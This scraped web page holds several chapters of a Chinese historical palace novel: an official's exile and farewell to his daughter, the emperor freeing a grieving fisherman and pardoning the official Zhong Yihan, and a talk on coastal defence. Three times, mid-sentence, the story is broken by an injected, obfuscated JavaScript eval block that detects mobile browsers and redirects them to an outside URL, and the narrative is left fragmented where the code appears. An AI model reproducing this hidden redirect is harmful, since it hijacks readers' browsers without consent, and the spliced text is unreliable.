及至“钦此”二字读出,人犯中有人隐隐呜咽出了哭声。而在承天门外,鸦雀无声的人群中也有人湿了眼眶。 几个穿粗布衣的百姓,携老扶幼,聚到承天门前,对着紫禁城的方向,遥遥的磕了几个头。 其中一个精壮的汉子,在直起身来的时候,忽然高声喊了句:“皇上,万岁万万岁!” 一传十,十传百,这句呼声就如一粒抛入干草堆中的火星,百姓高呼万岁之声响彻承天门外。 这声音传入午门前时,响声微减,气势犹存。 纪文征跪伏在人群当中,远处传来的呼声,如尖刺般不住冲击着他的耳膜。他只是麻木的跪在地上,对自己将要面对的处决没有一丝波澜,只是身边之人的啜泣声让他觉得有些厌恶。 待到午时三刻的钟鼓声响起,行刑之期已到。 在官兵的呼喝声中,处极刑的罪犯被架起,往斩台押去。而纪文征左右两侧也被人钳住下胁大力拉扯起来,要踏上流放之路。 他的双肩早已被重枷磨破了皮,在这一番推搡中再一次碾开他的皮肉。身为江南人,北地长年风雪的磋磨让他落下了腿疾,不再年轻的身体也使得他在牢狱当中备受折磨。 纪文征只是沉默的忍受着身体上如锤如炼般的疼痛,逆来顺受的被人拉扯进流放的队伍当中,甚至在心中啐了自己一句。 罪有应得。 可在这拥挤的人群当中,忽而他听到有个细微的声音在自己耳畔响起。 “纪大人,回头,往上看。” 纪文征循着声音看去,见说话的是一个相貌清秀的小内侍,不知何时挤过押送的官兵混入了队伍中。 如一滴雨水乍入寒潭,搅动出些许涟漪。纪文征意识到了什么,倏而回眸向朱红色的宫门回望而去。 在午门高峻的门楼上,站着一个人。 凄凄切切,翘首而望。 纪文征的双眼霎时滚烫。 “瑶瑶,瑶瑶……” 那是他的女儿,在多少个日夜里与他相依为命的囡囡。自入狱以来,他一直所秉持的清醒与决绝,在见到至亲的这一刻,垮塌成了瓦砾。 官兵见到他似是想要逆着人流往回走,立时从身后压制住了他。纪文征本能的一挣,更是惹怒了官兵,在他背后狠狠推了一把。枷锁的重量本来以使得他难以维持平衡,他就那样虾着身子,往前踉跄了好几步,才勉强站住。 白发迟暮,沧泪潸潸。 夏绫见纪文征还不甘心的想梗着脖子往后看,忙附在他耳畔道:“纪大人,见过了就得了,别再给瑶瑶惹麻烦。你如果还有什么想说的话,我帮你带到。” 纪文征哽住喉咙。说什么,他还配说什么呢。 他与原配夫人是少年夫妻。彼时纪文征方得高中,意气风发的进士郎,一袭红袍,骑着大马游走于金陵城中,却忽而展角一歪,竟是被楼上抛下的花砸中。 他抬头一望,阁楼上的少女皓齿明眸,掩面含笑。 而后,三书六礼,十里红妆,琴瑟和鸣,弄瓦之喜。 在生下纪瑶后的第二年,纪夫人罹患重病。彼时正是纪文征最忙的时候,他既要在衙门里上值,又要照顾患病的妻子,还得看顾年幼的女儿。那一年的日子仿佛暗无天日,他能做的都做了,能看的大夫也都请了,但最后仍是没有留住夫人。 那之后的很长一段时间,都是他独自一人带着孩子。女儿生的娇,他一边要教养,一边又担心她受委屈,在漫长而无尽的岁月中,他几乎将全部心思都扑在了孩子身上,从前俊朗的少年不复存在,两鬓亦是华发早生。 可女儿长得越大,他一个男人照顾起来就越有不便之处。直至一封调令不期而至,要他离开金陵城赴外地任职。纪瑶那时大概十岁上下,他生怕自己一个人看顾不好她,也怕脱离了大家族的教养与名声,一个鳏夫带着的女儿不好说人家,便将纪瑶留在了金陵。 那些年,父女二人之间的联系皆靠着南北之间的一纸书信。自夫人生病那年起,纪文征便患上了失眠的毛病,整夜整夜睡不着的时候,他脑子里想的都是纪瑶。 但无可否认的是,他感受到了一种前所未有的解脱。 因公务伏案到深夜时,不会突然出现一个小姑娘揉着眼睛要他哄着睡觉。因在外应酬酒醉时,不会牵挂着哇哇大哭的孩子而身心俱疲。他甚至还能有些时间,静下心来练几篇他自幼就钟爱的书法。 纪文征三十七岁那年,纪瑶十四岁。赴京述职时,身为太后的姑母,忽召他进宫小聚,借此提出,希望他能将女儿送进宫中教养。 纪文征怎会不知,作为族中庶子,忽得太后青睐,必不是天上掉馅饼的好事。可他在朝中人微言轻,怎敌得过皇家的威压,只得眼睁睁的看着女儿被接进了宫。他唯一能做的,就是将自己所有的私产,全都给了纪瑶,至少让自家姑娘能有些傍身的底气。 就在纪瑶入宫后的第二年,太后说和了一位女子给他。那女子亦是大家出身,温婉乖顺,知书达理,不过碍于庶女的出身,到了年岁还未曾婚配。纪文征看着那双秋水般的眼瞳,心中久违的,起了一阵风动。 某天深夜,他对着铜镜中两鬓斑白的自己,枯坐了一整晚。鳏居多年,他的确想有个家了。 续弦夫人过门后,日子过的也算和乐。在成婚后第二年,新夫人便给他生了个胖小子。那是新夫人的第一个孩子,又是个男孩,她怎能不视若珍宝,需要开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当他在狱中,一笔一划的写下无数次做梦都想写给纪瑶的家书时,是真心的希望,她能置身之外,忘掉自己这个糟糕透顶的爹。 但怎么可能。 就像他的续弦夫人在递给他一纸和离书时所说的。纪文征,我算是看明白了,这么多年在你心里,你只当你女儿是一家人,我们啊,搭伙过日子的罢了。 纪文征只答了一句话。你说的对。 在官兵的驱赶下,纪文征不甘的奋力回头又向午门之上看了一眼。纪瑶仍站在原处,看不到她的眼中是否会有泪痕。 眼见着队伍就要走出承天门了,夏绫都有些急了。 “纪大人,你到底还有没有话说啊?等出了承天门,我可也跟不住你了!” 有啊,他有好多好多话想说。 瑶瑶,别哭,爹爹会心疼的。 瑶瑶,多吃饭,少生病,爹爹希望你健康平安。 瑶瑶,好好生活,不要跟皇上闹别扭,皇上喜欢你了,你的日子才会好过。 瑶瑶,爹,想你啊…… 可到最后,纪文征只说道:“小公公,请您帮我同她说,父母子女终会别离,各自有路,不必追了。” 此行远去,青山暮迟。 送君千里,终有一别。 87. 公报私仇 进了十月,又一度的万寿圣节便近在眼前了。 但今年出了通倭这样大的案子,景熙皇帝亲下口谕,朝野上下都当谨身自省,一切节庆理应从简,一句话堵死了内阁与礼部的嘴。 不过夏绫知道,宁澈其实就是不想费功夫在这种事情上,留着银子和精力,他还有更多想做的事。 于是在十月十三那天,宁澈喊了夏绫和宁潇,三人在乾清宫一起吃了碗长寿面,灯火可亲,倒也和乐。 待这个日子过去,一切便又该回归到正轨上来了。 马车悠悠停在了北镇抚司门前,夏绫穿着一身内侍的圆领袍从车上跳下来,又回身进车厢拎出一摞写着奇形怪状文字的书。 庄衡得了消息,早已在诏狱门口等候,见了夏绫后略一拱手,便引着她往牢狱深处走去。 大事尘埃落定,怎么能忘了还关在这里的老熟人呢。 拐过几个逼仄的通道后,透过钉死在地面上的木栅栏,夏绫一眼便看到了牢房之中的钟义寒。 那人一身囚衣,翘着二郎腿躺在干草堆上,手中拿着一本搓卷了皮的书,看起来颇为闲适。 他怎么还……胖了一些呢? 夏绫嘬了嘬牙:“庄衡大人,看来您这诏狱里伙食不错啊?” 庄衡抱臂道:“那倒没有。只是臣自掏腰包,给钟大人开了小灶而已。” 夏绫也是头回见把徇私枉法说的这么光明磊落的。 庄衡比了个请的手势,拾起腰间的钥匙,打开了牢门上的大锁。 链锁轻动,钟义寒听到声音,坐起身来。看到庄衡,他立时带上了一副好客的笑容,再见到他身后的夏绫,更是热情。 “庄衡大人,小乔公公,莅临寒舍,不胜荣幸,不胜荣幸啊!”说着,他将干草堆铺平整了些,让出位置来请两位落座。 得,这是真把诏狱当自己家了。 夏绫将手中的一整摞书搁到草垫子上:“坐就不必了,钟大人,我是来传旨的。” 钟义寒眉心微肃,后退一步,依臣子礼跪下叩首道:“罪臣接旨。” 夏绫清了清嗓子道:“刑部右侍郎钟义寒,目无尊上,狂悖妄言,公报私仇,藐视天威,理当重罚。但念其心系百姓,兢兢业业,朕亦感念其劳苦,许其功过相抵,从轻发落,判其拘禁两月,以示惩戒。” 钟义寒俯首:“罪臣接旨,叩谢圣上隆恩。” 其实说是拘禁两个月,但他已经在诏狱里住了一个多月了,也就还五六天的刑期,就跟没罚一样。 待钟义寒起身,夏绫同他说:“钟大人,皇上私下里还有几句话,要我跟您说。” “小乔公公请讲。” 夏绫神情认真而诚恳:“纵观古今,君不知臣,臣不知君,而造成的冤案悲剧颇多。皇上知道你想做直臣,但他亦不是昏君。年少之人谁不胸藏万里丘壑,钟大人有一腔报国情,陛下也有满腹青云志。所以别动不动就直谏求死,且留着命好好看一看,他是不是值得你效忠的人。” 听此一席话,钟义寒双目竟有些灼烫。 “罪臣惭愧,惭愧啊……” 夏绫双眼一愣,怎么还真动上感情了?这让她后面的话可怎么说。但气氛都已经烘托到这了,她也只能故作一脸慨然,跟着随了句圣上英明。 待到氛围冷却了些,夏绫以手握拳放在嘴边轻咳了两声,看向庄衡:“庄衡大人,皇上还有句话,是让我带给您的。” 庄衡拱手:“您请讲。” 夏绫同情的看了眼在皇恩浩荡中迷失了自我的钟义寒,沉吟片刻说:“揍他一顿。” 嗯?庄衡挑眉。 夏绫也不装了,两手一甩:“皇上说了,他跟钟大人的公仇虽然了了,但还有私怨呢,不打他一顿不足以泄愤。” 一想到宁澈说这句话时那个咬牙切齿却又大仇得报的贱样,她就忍不住抽了抽嘴角。 钟义寒立时感动全无,这什么街溜子行径,到底是谁在公报私仇! “不是……” 夏绫摆摆手:“钟大人你别急,我没说完呢。皇上还说了,这段时间他书看得少了,觉得甚是空虚,那摞书你得在出狱之前译完了呈上去,不然算你渎职,要再罚你半年的俸禄。” 罚什么玩意?那可真是要了他老命了。 钟义寒看向草垫子上摞了有一尺高的倭文书,这可是将近两个月的量,他能译的完才怪! “这么多书,皇上他老人家要炖着吃吗?” 夏绫摊手:“那我可就管不着了,我就是个传话的,您要申冤得去陛下跟前说了。庄衡大人,您觉得呢?” 庄衡一身正气的抱拳道:“吾皇金口玉言,臣定当遵旨。” 说着,他打了个响指,叫了两个缇骑过来。 “将犯人押到刑房去,廷杖。” 两个缇骑得了命令,熟练的从胁下叉起钟义寒,就要将他往外拖去。 “不是,庄衡大人!”钟义寒以迅雷不及掩耳的速度拽住了庄衡的衣摆,“臣冤枉,冤枉啊!” “皇命难违。”庄衡铁面无私的将自己的衣服从他手里抠出来,“带走。” 他又转向夏绫道:“小乔公公,一会场面太过血腥,不适合入您的眼,请随下官移步吧。” 夏绫巴不得赶紧离开这个是非之地。 钟义寒已被拖到了牢门口,他望着那二人翩然离去的背影,抱着木栅栏鬼哭狼嚎道:“庄衡大人,小乔公公!救命,救命啊!” 夏绫被他嚎的心悸,偷偷问身边人说:“庄衡大人,咱们这样做,会不会太伤他了?” 庄衡一耸肩,难得露出了一丝狡黠的笑意:“您放心,臣自有分寸,残不了的。” * 果然,官场上流传的话没错,进了北镇抚司,连死都成了种奢望。钟义寒满心悲戚的自怜到。 青灯映照着他清瘦苍白的脸庞,钟义寒拢了拢散乱的鬓发,眯眼凑近油灯,用唾沫润了润已经炸毛的笔。 草席上叠了高高一沓他已经译好的文书。这些都是他拖着伤了的屁-股,趴在干草堆上不眠不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灯火摇曳,两个清瘦颀长的身影一前一后映在暗室的墙壁上,时短时长。 拐过两个弯后,宁澈最终在一间暗牢前停住了脚步。 此处是诏狱的最深处,关押在这里的皆是重犯,暗无天日,暮气沉沉,只能等待着无声无息的死去。 越过严密的栅栏,钟义寒看见牢房的角落里蜷着一位白发苍苍的老者,手脚上的铁锁将他禁锢在一隅之内,他低垂着头颅,似乎已被无尽的苦难吸食走了魂魄。 宁澈将风灯举高了些,沉静的发问:“这个人,你认识么?” 钟义寒默立于君王的身后,没有立时作答。 宁澈却并不急于从他这里得到答案。 他将手中的灯交给钟义寒,摸出身上的钥匙,将牢房的门锁打开。 “那就给你介绍一下吧。此人名叫赵大成,山东府灵山人氏,妖书案便是由他而起的。” 88. 始作俑者 置身于黑暗当中时,人的其他感官会更加敏感。 老渔夫下意识的摸了摸耳朵,怀疑自己是不是老的已经出现了幻觉,竟然听到了开锁的声音。 可锁链泠泠的响动仍没有停止。不是假的。 赵大成动了动腿,艰难的将身体抬起了一点。他今年六十三岁了,刚被抓时挨过打,又历经了半年之久的牢狱之刑,每动一下,对他的躯体都是刀割火烤般的折磨。 老人抬起浑浊的双眼向光亮处望去,见来者的是两个身量修长的年轻人,已卸了锁链,推开牢门走了进来。 “官爷……”赵大成嗫嚅道,“我递的状子,有人看了吗?” 宁澈走到近前,俯身蹲下说:“老人家,赵远的案子已经查清楚了,他的遗骨……我们也已找到了。” 查通倭之事时,锦衣卫搜罗的细致,先前的妖书一案,也得以拼上了最后一块缺角。 赵远,灵山卫小旗。在景熙三年九月倭寇夜袭灵山卫时,身先士卒,带队出击抗击敌军。 时任灵山卫长官,是韩山岐的亲信。他故意拖延出兵时间,怕事情败露,将赵远秘密杀害于军营之中,并毁尸灭迹。 故锦衣卫所能找到的赵远遗骨,不过是几片残缺不全的尸骸,但却足以能还原故事的全貌。 赵大成身子猛颤了颤:“您说的,可是真的?” 宁澈点头道:“是。我们今日,便是来请您出狱的。赵远是烈士,他的身后事,朝廷会安置妥当,您带他回家吧。” 老渔夫苍老的双眼渐渐湿润,泪水漫入他脸上被风霜割出的皱纹中,他终是失声痛哭了出来。 “我就知道,我就知道。海滩上,全都是死人呐。我一个一个的找,一个一个的看,但就是没有我们家远儿。我不能把孩子扔在外面,不论他变成什么样,我都得接他回家啊……” 倭寇劫掠后的海滩上,全都是死人。连沙滩都是红的。 年迈的老渔夫佝偻着身子,一具尸体一具尸体的看过去。军营中的人说他的儿子死了,找不到了,可他不信。 怎么会找不到呢?他的儿子,那个高大壮实的孩子啊。即便死了,爹也得把你接回家去,怎么能让你自己在外漂泊啊。 一生厚道老实,连鸡都没杀过几只的老渔夫,看遍了海滩上所有的尸体。没有他的儿子。 他不甘心,只要他还活着,就一定得把孩子找回来。因为他是一个父亲。 所以一生都没离开过那个小渔村的他,去县衙,去府衙,甚至带上了全部家当,一路告到了京城。 他下过跪,挨过打,吃过牢饭,但他从没有后悔过。他就是想讨要一个说法,他的儿子,到底去哪了? 所有的一切,只因为,他是一个父亲。 宁澈弯下身,将赵大成手脚上的镣铐全都打开。他朝这个普通如草芥的老人伸出手道:“老人家,回家去吧。” 赵大成皱纹遍布的脸上终于露出一丝舒展。片晌后,他颤颤巍巍的抬起手,同宁澈的手紧紧相握。 如此截然不同的两只手握在了一起。 一只枯槁粗糙,捕鱼结网只为了一家的温饱。 一只修长细腻,笔走龙蛇间便能决定万千人的命运。 百千年历史长河中,这样的两只手,鲜有机会能交握在一起。但耕耘之人无不希冀,有朝一日,上位者也能站到他们中间,怜惜民生之苦,尊重稼穑之艰。 “来人。” 宁澈声音不高,但不过须臾间,便有两个锦衣卫千户在暗隐中现了身,抱拳听命。 “将这位老人家送出去,一路护送回乡,好好安置。” 两个千户领了命,在左右扶起老人,搀着他缓缓向牢房外走去。 白发零乱的老渔民佝偻的向外走出了几步,似乎突然又意识到了什么,顿住脚步,回身望向身后长身玉立的年轻人。 “你……你是?” 宁澈微一颔首:“走吧。” 老渔夫嘴唇动了动,终只说道:“谢谢您了。” 宁澈负着手,目送那个沧桑的背影消失在转角处。他能做的,也仅能到这一步了。日后的丧子之痛,只能靠这老翁自己用余生去消化。 宁澈看了眼同样在凝视着深渊的钟义寒,浅淡的笑了下:“钟大人,你我之间还有笔账,是不是也该算一算了。” 他让人多点了几支蜡烛,以看清楚身边这人每一处细微的神情。 昏黄的烛火映照在两个年轻的脸庞上,一个深邃诡诈,一个苍白狡黠。 “陛下,何意?” 宁澈似笑非笑的看着他说:“朕没有证据,只不过是猜到了一些事情而已,钟大人可以选择坦白,当然也可以选择否认。只不过,来而不往非礼也,朕给了你信任,钟大人至少也要拿点诚意出来。你说对吗,兜帽人?” 钟义寒眼尾颤了颤,唇角终是勾起一抹认栽的自嘲。 “吾皇圣断。”钟义寒俯身跪拜,彻底摊了牌,“妖书案的始作俑者,正是罪臣。” 宁澈撩袍坐下,拇指上的玉扳指磕在桌案上,嗒的一声脆响。 “那倭寇入京的事,也在你的谋划中么?” 钟义寒摇头否认:“罪臣还没有那么神机妙算,也实没有料到,竟是倭寇帮臣推了这一把。” 从科举入仕的第一天起,钟义寒便就暗中盯上了韩山岐,害得他幼时家破人亡的罪魁祸首。 他殿试被点了探花郎,原本可以入翰林,做个两耳不闻窗外事的学士。但他偏要自请外放,就是为了能同韩山岐有交集,暗中搜集他贪污的罪证。 他其实并没有将贪墨的事与通倭联系在一起,只是在吏部供职时,韩山岐安插在吏部的亲信对他懂倭文这件事格外在意,这使得钟义寒起了警觉。 就在这时,他遇到了求告无门的赵大成。 多年来暗中的摸查,让钟义寒敏锐的意识到,这其中或许隐藏着什么玄机。于是他写了假言有倭寇入京的妖书,扮作兜帽人,让赵大成散发出去。他的本意是想借此给朝廷提个醒,但凡能撕开一个小口,他就有机会探手进去,将韩山岐贪赃的罪证抖落出来。 不过他也只是在暗中观望,并不期待借一个老渔夫的手就能彻底扳倒一个封疆大吏。可万万没想到,却真的有个小倭贼在此时闯入了京城。 原本毫无勾连的两件事,竟然以这种奇妙的方式在京城中交织在了一起。 在之后,事态的发展也大大超出了钟义寒的掌控。他那段时间近乎疯魔,日夜都在思量,究竟什么时机将他手中的罪状递出去才能彻底钉死韩山岐,让他永世翻不了身。 直到井上三郎的一纸口供,给韩山岐判了死刑。至此,他也理所应当的将自己收集的全部证据拱手呈上,在黄泉路上送他最后一程。 “皇上,”钟义寒以额触地,坦然禀道,“臣自知,犯了欺君大错,罪无可恕。无论陛下如何责罚,臣都心甘情愿听凭处置。” “处置?”宁澈咀嚼着这两个字,“那你觉得,自己当受什么处置?” 钟义寒心中微叹。 他探手入怀,在衣襟中摸出一页薄纸,双手呈过头顶。 “万岁,这是臣在狱中这些时日,反躬自省,写下了罪己疏,劳请圣上过目。” 宁澈将那一纸罪书接过,在灯下展开来,草草看过。 书中非但言辞恳切的认下了他抗旨违逆的罪责,还详实细致的写明了利用赵大成缔造出妖书一事,皆是出自他的手笔。与宁澈今日一问,不谋而合。 “削去官位,革职为民?”宁澈借着光亮,读出了他对自己的判决。 “是。”钟义寒俯首道:“臣愿以自己头顶的乌纱,向君父谢罪,还无辜之人清白。” 宁澈玩味的看着手中的纸张:“十年寒窗,金榜题名,却一朝化为乌有,不可惜吗?” “可惜。”钟义寒没有否认,“但不可怜。臣自问,所做的这些事,没有愧对自己的良心。若再给臣一次机会,臣仍然会如此做。” 宁澈若有所思的点了点头:“那日后没了功名,你有什么打算?” 钟义寒想了想道:“臣想去参军,到兵营中服役。” “参军,你?”宁澈打量着面前之人羸弱的双肩,不由失笑,“你知道军营是什么样子么,又能撑几天?” 可钟义寒固执说道:“臣想试试。” 宁澈笑着摇了摇头,折起手中纸页,探进了烛火中心。 火舌舔舐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037092|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单薄的纸张霎时间被引燃,不过须臾便化作了灰烬。 钟义寒双目微睁。 “你这满纸荒唐言,朕就当没见到过。朕只需你答一句实话,先前的所有事,便一笔勾销。” 宁澈双手搭于膝上,略俯下身,凑近面前的文人。 “钟义寒,你最想要的,到底是什么?” 钟义寒心中轰然有波涛涌起。 他最想要的,藏在心里最深处的,在无数个黑夜中独自抚摸的执念。 他抬起头来,眼眸中的星火再度燃起。 “臣想以文臣之身,担武将之职,驱鞑虏贼寇,开万世太平。” 宁澈审视着这双坚毅而干净的眼眸,笑意渐渐漫入了眼底,终是畅快的笑了出来。 “你的初心,朕今日帮你记下了。之前的事情一笔勾销,但若日后你违背了今日之心迹,朕定会判你个欺君罔上的大罪。” 钟义寒内心风起云涌,双手覆额拜下,郑重道:“臣,铭记于心。” 宁澈站起身,习惯性的抚了抚腰间的小金坠子:“行了,换身衣服,跟朕走吧。” 钟义寒一时没转过弯来:“去哪?” “嘁,这诏狱还真让你住上瘾了?”宁澈嫌弃的瞥了他一眼,“你刑期到了,麻利儿卷铺盖走人吧。” 言外之意,别天天想着在诏狱里骗吃骗喝,赶紧滚到衙门里给朕去干活。 时隔两个月,再见到自由之地的阳光时,钟义寒竟有些生疏。 相比于入狱之时,外面的天气已凉了许多。钟义寒跟在宁澈身后走出北镇抚司的大门,他双手插在袖子里,抽着脖子不禁打了个哆嗦。 “你一会打算去哪?” 钟义寒揣着手想了一会,答:“刑部衙门吧。” 抓捕倭寇时的一番折腾,把他租的好好的房子给烧了。关着的这段时日又没法找新住处,除了刑部衙门,他实在想不出哪里还有其他能落脚的地方。 宁澈真是打心眼里看不上钟义寒这个寒酸样。 他从自己腰间摸出一把钥匙,转手抛给钟义寒。 “灯市口那有座一进的小院子,你上那住去吧。” 钟义寒看着自己手中的钥匙,莫名其妙的望向宁澈。 “这是朕用自己的内帑买下来的,放心,不收你租金。好歹也是个正三品,别天天抠抠搜搜的给朕丢人。” 说完,他好像生怕会听到什么感谢的话一样,扯开步子往马车上走去。 夏绫正坐在车里等宁澈,方才他与钟义寒在北镇抚司门口的拉扯她全都看见了。 宁澈一探进头来,她便好奇的问到:“你刚才给他什么了?” 对方答:“一套房。” 夏绫差点咬了舌头。这个人,自掏腰包,给钟义寒买房了? 宁澈神清气爽的掸了掸袖子,坐到夏绫身边:“我羞辱他。” 夏绫张了张嘴,半天没说出话来。 好么,拿钱羞辱是吧。 “那你咋不羞辱我呢?” “噢,是这样。”宁澈慢条斯理的解释道,“虽然这套房是我花钱买的,但是房契上又没法真的写我的名字,于是我就借你的名字用了一下。” 说着,他从衣袖里摸出一纸房契,递给她看。 果然,在所属人名字的那一处,明明白白的写着“夏绫”两个字。 夏绫的嘴角不禁抽搐了一下。真是人在家中坐,房从天上来。 宁澈插起手臂,一脸小人得志的贼笑:“所以这座院子的门牌上,我写的是——” 夏宅。 钟义寒站在屋门口,抬头看着牌匾上的两个大字,脸上浮起一丝无奈的干笑。 他想起,第一次同景熙皇帝见面时,那人便自称姓夏。这是变着法的在提醒自己,吃他的住他的,自己这条命算是被他买下来了。 成心膈应人呢。 只不过,皇帝陛下算错了一点。一个“夏”姓当头,倒是歪打正着了,他欣然受之。 钟义寒兀自摇头轻笑了下,掏出钥匙开启门锁,推开了两扇门。 已有许多年,他未居住过这样独立的院落。跨过夏宅的门槛,仿佛一瞬间又回到了十数年前,他在扬州的家。 89. 海防战船 在秋冬之交时,宁澈又病了一场。 因着这场病,乾清宫早早的便烧起了地龙,比往年要早上差不多半个月的时间。 殿内一暖和起来,小铃铛就特别喜欢到乾清宫里趴窝。地板被烤的暖烘烘的,狗子就四脚一摆,将自己的肚皮全都摊在地面上,远远看过去像一件浅金色的毛皮坎肩。 宁澈病了几天,夏绫就陪了他几天。她倒是觉得,没有了平日里招猫逗狗的那股闹挺劲,安静下来的宁澈还挺讨人喜欢的。像只捋顺了毛的大狗狗,总想让人去胡噜一把毛。 到后面几天,宁澈不难受了,精神头也涨了上来,只是身上还有些没力气。不过他倒挺自得其乐,正好拿这个借口挡住前朝那些想跟他扯皮的人,好好过几天安生日子。 通倭一案虽是了结了,但这件事给宁澈敲响了一个极大的警钟。养病这几日,他对海防产生了空前的兴趣,心中已然开始暗暗盘算,是否要借着通倭这事的风头,好好推一把海事力量的构建。 几近黄昏,宁澈倚在床头上翻书,枕头边上已摞了厚厚一沓与海防相关的书籍。夏绫就盘腿坐在旁边的榻上,干她自己的事。他们两人惯是这样,大多数时间谁也不理谁,看到什么有意思的东西了,才会互相搭句腔。 有轻缓利落的脚步声由远及近,夏绫抬起头,见是谭小澄来了。他在寝阁外站定,躬身禀到:“主子,杨阁老与钟大人到了。” 夏绫合上手里的簿子:“你叫他们来的?” 宁澈点头:“是,有些事想找他们议一议。” “那行,我先带小铃铛回去,晚点再过来。”她将自己的东西都收拾好,又嘱咐了句,“别说起来没完,你还没好利索呢。” 领着狗出殿门时,夏绫迎面正遇到一身官服进殿来的杨怀简与钟义寒。她低下头,忙拽着小铃铛一起退到一旁避让,让他们先过去。 对于这位首辅大人,夏绫其实是有点怵他的。杨怀简一向刻板严肃,又对宁澈养了这么大一条狗的事颇有微词,他要是脾气上来,连宁澈都敢骂,更何况她一个养狗的小内侍。 不出所料,杨怀简根本没打眼看夏绫,见到小铃铛,嘴角更是往下沉了沉。 小铃铛蹭了蹭夏绫,从鼻子里呜呜了一声。它十分不理解,这个世上怎么还会有人不喜欢它。 夏绫揉了揉狗头,却在钟义寒经过时,悄悄冲他吐了下舌头。 乾清宫中暖和,宁澈往日里只穿一件单衣便足矣,此时要见外臣,才让近侍又取了一件披风穿上。 君臣见过礼后,宁澈给杨钟二人都赐了座,略一寒暄后,他便将话题引到了海防上。 这两位文臣显然是有备而来的。杨怀简给了钟义寒一个眼神示意,钟义寒起身,将随身带来的手绘海岸舆图呈了上去。 这图约摸有四尺宽,三尺长,全部展开要占不小的地方,宁澈便叫人推来一面架子,将这幅图展开挂上去。 图上已有一些事先做好的标注。钟义寒抬手指向舆图,对大燕版图的海岸线分布先做了一个简要的概括。而后他指向了在漫长曲折的海岸线上,用朱笔标注的几处方位。 镇海,宁波,松门,永宁。 钟义寒的指尖在舆图上轻轻划过,一收一放间,帝国的海防布局好似已在他的股掌之中。 “臣以为,要在沿海一线构建严密的防务,首要是在这四处配备强健的军事力量。”钟义寒将目光在舆图上收回,双手交叠于身前,“坚实的海防力量,至关重要的一点便在于能有一只可用于海上作战的军队。根据臣对倭寇的一些了解,倭人现在用的战船,体量轻,航速快,所以在海上航行敏捷,便于登陆和撤离。但也因为他们力求船只的轻快,无法在船身上配备过多的重型火炮,对攻击力就有所削减。工欲善其事,必先利其器,在如何造出可以在海上既不冗余又能装载足够多的火炮的战船,便是需要研究的首要之务。” 宁澈拢了拢身上的披风,问他道:“那对于应该造出何种样式的战船,你有什么见解么?” 钟义寒低头答:“对于此臣还并未有过深的涉猎,只是浅看过基本分析船舶勘造的书籍,但纸上得来终觉浅,还需会同工部的同僚做进一步的勘验。” 宁澈习惯性的转了下手上的扳指:“那杨先生的意思呢?” 杨怀简拱手道:“术业有专攻,确也不能靠义寒一人之力包揽所有事。但臣以为,对于海上布防的方位,他的建议臣是附议的。” 杨阁老说着,不由自主的就向钟义寒投去一个赞许的神情。在座的两位,都是他的学生,但与自幼教导的宁澈不同,杨怀简是钟义寒科考那年的读卷官,识得遗珠之时,对方便已饱读诗书。很明显,杨大学士对于钟义寒的偏爱,是在宁澈这个“顽劣不堪”的学生之上的。 “这四个地方,朕要看五年来详细的户籍统筹与驿所分布的信息。” 钟义寒应下,又坐回到杨怀简身边,他自己的座位上。 他专注的听着老师与皇上又说起与海防相关的人事安排,可忽而察觉,自己屁-股下面的凳子发出了一些不同寻常的声响。 一股不好的预感瞬时涌上钟义寒的心头,他根本没来得及做出什么反应,只听咔嚓一声,屁-股底下好像悬了空,他整个人向后直接栽了过去。 稀里哗啦的一阵脆响,紧跟着尾巴骨一记闷痛,他一屁-股摔在了地上,身下坐了一堆碎木头片。 钟义寒人都傻了。他竟然,在御前,把乾清宫的凳子给坐碎了? “怎么了这是?”宁澈也给吓了一跳,但看钟义寒这个样子又觉得有点好笑。 他赶忙让在近前伺候的内侍把钟义寒扶起来,又重新搬了张凳子给他。 钟义寒心有余悸的擦了擦额上的汗,躬身谢过恩,再次撩袍坐下。他这回刻意坐的慢了一些,待确认了凳子是稳当的,才又放心将屁-股搁在了上面。 然而,一刻钟后。咔嚓。 熟悉的声音猛地刺入钟义寒脆弱敏感的心神,他想要站起来,但是已经来不及了。 咔。 哗啦。 嘭。 梅开二度。 钟义寒颓然坐在凳子的残骸上,抬头幽怨的看向御座之上道貌岸然的景熙皇帝。 皇帝陛下,您就算要捉弄微臣,也不至于挑这么个场合吧! 宁澈一侧的眉毛高高挑了起来。 “你看朕做什么?” 他看懂了钟义寒眼神中的意思,从来没觉得这么冤枉过。对,他看钟义寒不顺眼确实不是一天两天了,但是今天这个锅,他绝对不背。 宁澈对谭小澄打了个眼色,让他去查查究竟是怎么回事。谭小澄立时会意,忙领着人退了出去。 书房中的氛围一时尴尬到了极点。杨怀简皱了皱眉,也默默站起了身,一脸看透一切的神情。他这把老骨头,可经不起这样的摔打。 宁澈扶额,无奈也坐不住了。真是邪了门了,今天这事他非得查清楚不可,不然是跳进黄河都洗不清自己的清白之身。 片晌,谭小澄回来禀报道:“回主子,奴婢盘查了殿内所有的桌椅板凳,发现共有十几张桌凳都被人不同程度的动过手脚,基本上都是少了一些部件。钟大人方才坐过的那两张凳子,腿上便被掏空打薄后又贴了一层木衣上去,故而在外表上看虽并无什么异样,但内里已然中空,所以才如此不结实。” 